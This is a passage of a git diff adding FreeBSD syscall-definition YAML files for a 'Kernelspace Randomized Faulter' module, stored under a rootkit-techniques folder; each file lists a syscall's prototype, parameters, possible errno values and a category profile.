Faulter/src/module/codegen/freebsd/fchdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchdir.yml new file mode 100644 index 0000000..a51e351 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchdir.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct fchdir_args *uap +parms: td, uap +errors: + - EACCES + - ENOTDIR + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchflags.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchflags.yml new file mode 100644 index 0000000..324cdd3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchflags.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct fchflags_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EPERM + - EROFS + - EIO + - EOPNOTSUPP +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmod.yml new file mode 100644 index 0000000..500d283 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmod.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct fchmod_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EROFS + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmodat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmodat.yml new file mode 100644 index 0000000..c9ced34 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmodat.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct fchmodat_args *uap +parms: td, uap +errors: + - EBADF + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EINVAL + - ENOTDIR + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EFTYPE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchown.yml new file mode 100644 index 0000000..24e7a66 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchown.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct fchown_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EPERM + - EROFS + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchownat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchownat.yml new file mode 100644 index 0000000..4126869 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchownat.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct fchownat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - EBADF + - ENOTDIR + - EINVAL + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fcntl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fcntl.yml new file mode 100644 index 0000000..b01f5ad --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fcntl.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct fcntl_args *uap +parms: td, uap +errors: + - EAGAIN + - EBADF + - EDEADLK + - EINTR + - EINVAL + - EMFILE + - ENOTTY + - ENOLCK + - EOPNOTSUPP + - EOVERFLOW + - EPERM + - ESRCH +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fdatasync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fdatasync.yml new file mode 100644 index 0000000..97181f0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fdatasync.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct fdatasync_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fexecve.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fexecve.yml new file mode 100644 index 0000000..206115c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fexecve.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct fexecve_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOEXEC + - ENOENT + - ELOOP + - EACCES + - ENOEXEC + - ETXTBSY + - ENOMEM + - E2BIG + - EFAULT + - EIO + - EBADF +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getcounter.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getcounter.yml new file mode 100644 index 0000000..af09f3c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getcounter.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct ffclock_getcounter_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getestimate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getestimate.yml new file mode 100644 index 0000000..9136d23 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getestimate.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct ffclock_getestimate_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_setestimate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_setestimate.yml new file mode 100644 index 0000000..3e67ce7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_setestimate.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct ffclock_setestimate_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhopen.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhopen.yml new file mode 100644 index 0000000..602f326 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhopen.yml @@ -0,0 +1,32 @@ +proto: struct thread *td, struct fhopen_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - EISDIR + - EROFS + - ENFILE + - EMLINK + - ENXIO + - EINTR + - EOPNOTSUPP + - EWOULDBLOCK + - ENOSPC + - EDQUOT + - EIO + - ETXTBSY + - EFAULT + - EEXIST + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE + - EINVAL + - ESTALE + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstat.yml new file mode 100644 index 0000000..10a0cb0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstat.yml @@ -0,0 +1,32 @@ +proto: struct thread *td, struct fhstat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - EISDIR + - EROFS + - ENFILE + - EMLINK + - ENXIO + - EINTR + - EOPNOTSUPP + - EWOULDBLOCK + - ENOSPC + - EDQUOT + - EIO + - ETXTBSY + - EFAULT + - EEXIST + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE + - EINVAL + - ESTALE + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstatfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstatfs.yml new file mode 100644 index 0000000..0f648f6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstatfs.yml @@ -0,0 +1,32 @@ +proto: struct thread *td, struct fhstatfs_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - EISDIR + - EROFS + - ENFILE + - EMLINK + - ENXIO + - EINTR + - EOPNOTSUPP + - EWOULDBLOCK + - ENOSPC + - EDQUOT + - EIO + - ETXTBSY + - EFAULT + - EEXIST + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE + - EINVAL + - ESTALE + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/flock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/flock.yml new file mode 100644 index 0000000..06c8795 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/flock.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct flock_args *uap +parms: td, uap +errors: + - EWOULDBLOCK + - EBADF + - EINVAL + - EOPNOTSUPP + - ENOLCK +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fork.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fork.yml new file mode 100644 index 0000000..8dc7c8b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fork.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct fork_args *uap +parms: td, uap +errors: + - EAGAIN + - ENOMEM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fpathconf.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fpathconf.yml new file mode 100644 index 0000000..eb5b833 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fpathconf.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct fpathconf_args *uap +parms: td, uap +errors: + - EINVAL + - EBADF + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstat.yml new file mode 100644 index 0000000..a9ea429 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstat.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct fstat_args *uap +parms: td, uap +errors: + - EBADF + - EFAULT + - EIO + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatat.yml new file mode 100644 index 0000000..91d0a07 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatat.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct fstatat_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EOVERFLOW + - EBADF + - EINVAL +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatfs.yml new file mode 100644 index 0000000..80311ff --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatfs.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct fstatfs_args *uap +parms: td, uap +errors: + - EBADF + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fsync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fsync.yml new file mode 100644 index 0000000..8e138bc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fsync.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct fsync_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ftruncate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ftruncate.yml new file mode 100644 index 0000000..fddde4d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ftruncate.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct ftruncate_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimens.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimens.yml new file mode 100644 index 0000000..26c2a6a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimens.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct futimens_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EIO + - EPERM + - EACCES + - EPERM + - EROFS + - EBADF +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimes.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimes.yml new file mode 100644 index 0000000..f46520c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimes.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct futimes_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EPERM + - EPERM + - EROFS + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimesat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimesat.yml new file mode 100644 index 0000000..410f824 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimesat.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct futimesat_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EPERM + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getaudit.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getaudit.yml new file mode 100644 index 0000000..b0d845f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getaudit.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct getaudit_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - EOVERFLOW + - E2BIG +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getauid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getauid.yml new file mode 100644 index 0000000..208cc6b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getauid.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getauid_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getdirentries.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getdirentries.yml new file mode 100644 index 0000000..00ff9d3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getdirentries.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct getdirentries_args *uap +parms: td, uap +errors: + - EBADF + - EFAULT + - EINVAL + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfh.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfh.yml new file mode 100644 index 0000000..1712274 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfh.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct getfh_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfsstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfsstat.yml new file mode 100644 index 0000000..0f13154 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfsstat.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct getfsstat_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getgroups.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getgroups.yml new file mode 100644 index 0000000..543082c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getgroups.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getgroups_args *uap +parms: td, uap +errors: + - EINVAL + - EFAULT +profiles: + - user diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getitimer.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getitimer.yml new file mode 100644 index 0000000..5cd8df2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getitimer.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getitimer_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getlogin.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getlogin.yml new file mode 100644 index 0000000..cd99e6e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getlogin.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getlogin_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ERANGE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getloginclass.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getloginclass.yml new file mode 100644 index 0000000..708186d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getloginclass.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getloginclass_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ENAMETOOLONG diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpeername.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpeername.yml new file mode 100644 index 0000000..ccd5bf5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpeername.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct getpeername_args *uap +parms: td, uap +errors: + - EBADF + - ECONNRESET + - EINVAL + - ENOTSOCK + - ENOTCONN + - ENOBUFS + - EFAULT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpgid.yml new file mode 100644 index 0000000..d4e2b6c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpgid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct getpgid_args *uap +parms: td, uap +errors: + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpriority.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpriority.yml new file mode 100644 index 0000000..b899716 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpriority.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getpriority_args *uap +parms: td, uap +errors: + - ESRCH + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrandom.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrandom.yml new file mode 100644 index 0000000..7867ba1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrandom.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getrandom_args *uap +parms: td, uap +errors: + - EAGAIN + - EFAULT + - EINTR + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresgid.yml new file mode 100644 index 0000000..68d5655 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresgid.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct getresgid_args *uap +parms: td, uap +errors: + - EPERM + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresuid.yml new file mode 100644 index 0000000..00034f0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresuid.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct getresuid_args *uap +parms: td, uap +errors: + - EPERM + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrusage.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrusage.yml new file mode 100644 index 0000000..e317ce8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrusage.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct getrusage_args *uap +parms: td, uap +errors: + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsid.yml new file mode 100644 index 0000000..3e1761d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsid.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct getsid_args *uap +parms: td, uap +errors: + - ESRCH +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockname.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockname.yml new file mode 100644 index 0000000..8decdb6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockname.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct getsockname_args *uap +parms: td, uap +errors: + - EBADF + - ECONNRESET + - EINVAL + - ENOTSOCK + - ENOBUFS + - EFAULT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockopt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockopt.yml new file mode 100644 index 0000000..86f60d3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockopt.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct getsockopt_args *uap +parms: td, uap +errors: + - EBADF + - ENOTSOCK + - ENOPROTOOPT + - EFAULT + - EINVAL + - ENOMEM +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/gettimeofday.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/gettimeofday.yml new file mode 100644 index 0000000..0d1acfa --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/gettimeofday.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct gettimeofday_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ioctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ioctl.yml new file mode 100644 index 0000000..68ded58 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ioctl.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct ioctl_args *uap +parms: td, uap +errors: + - EBADF + - ENOTTY + - EINVAL + - EFAULT +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail.yml new file mode 100644 index 0000000..dd050a2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct jail_args *uap +parms: td, uap +errors: + - ENOTDIR + - EPERM + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO + - EFAULT + - EINVAL + - EAGAIN +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_attach.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_attach.yml new file mode 100644 index 0000000..aa3a88a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_attach.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct jail_attach_args *uap +parms: td, uap +errors: + - ENOTDIR + - EPERM + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO + - EINVAL +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_get.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_get.yml new file mode 100644 index 0000000..896e479 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_get.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct jail_get_args *uap +parms: td, uap +errors: + - EFAULT + - ENOENT + - EINVAL +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_remove.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_remove.yml new file mode 100644 index 0000000..7822b5d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_remove.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct jail_remove_args *uap +parms: td, uap +errors: + - EPERM + - EINVAL +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_set.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_set.yml new file mode 100644 index 0000000..42ed400 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_set.yml 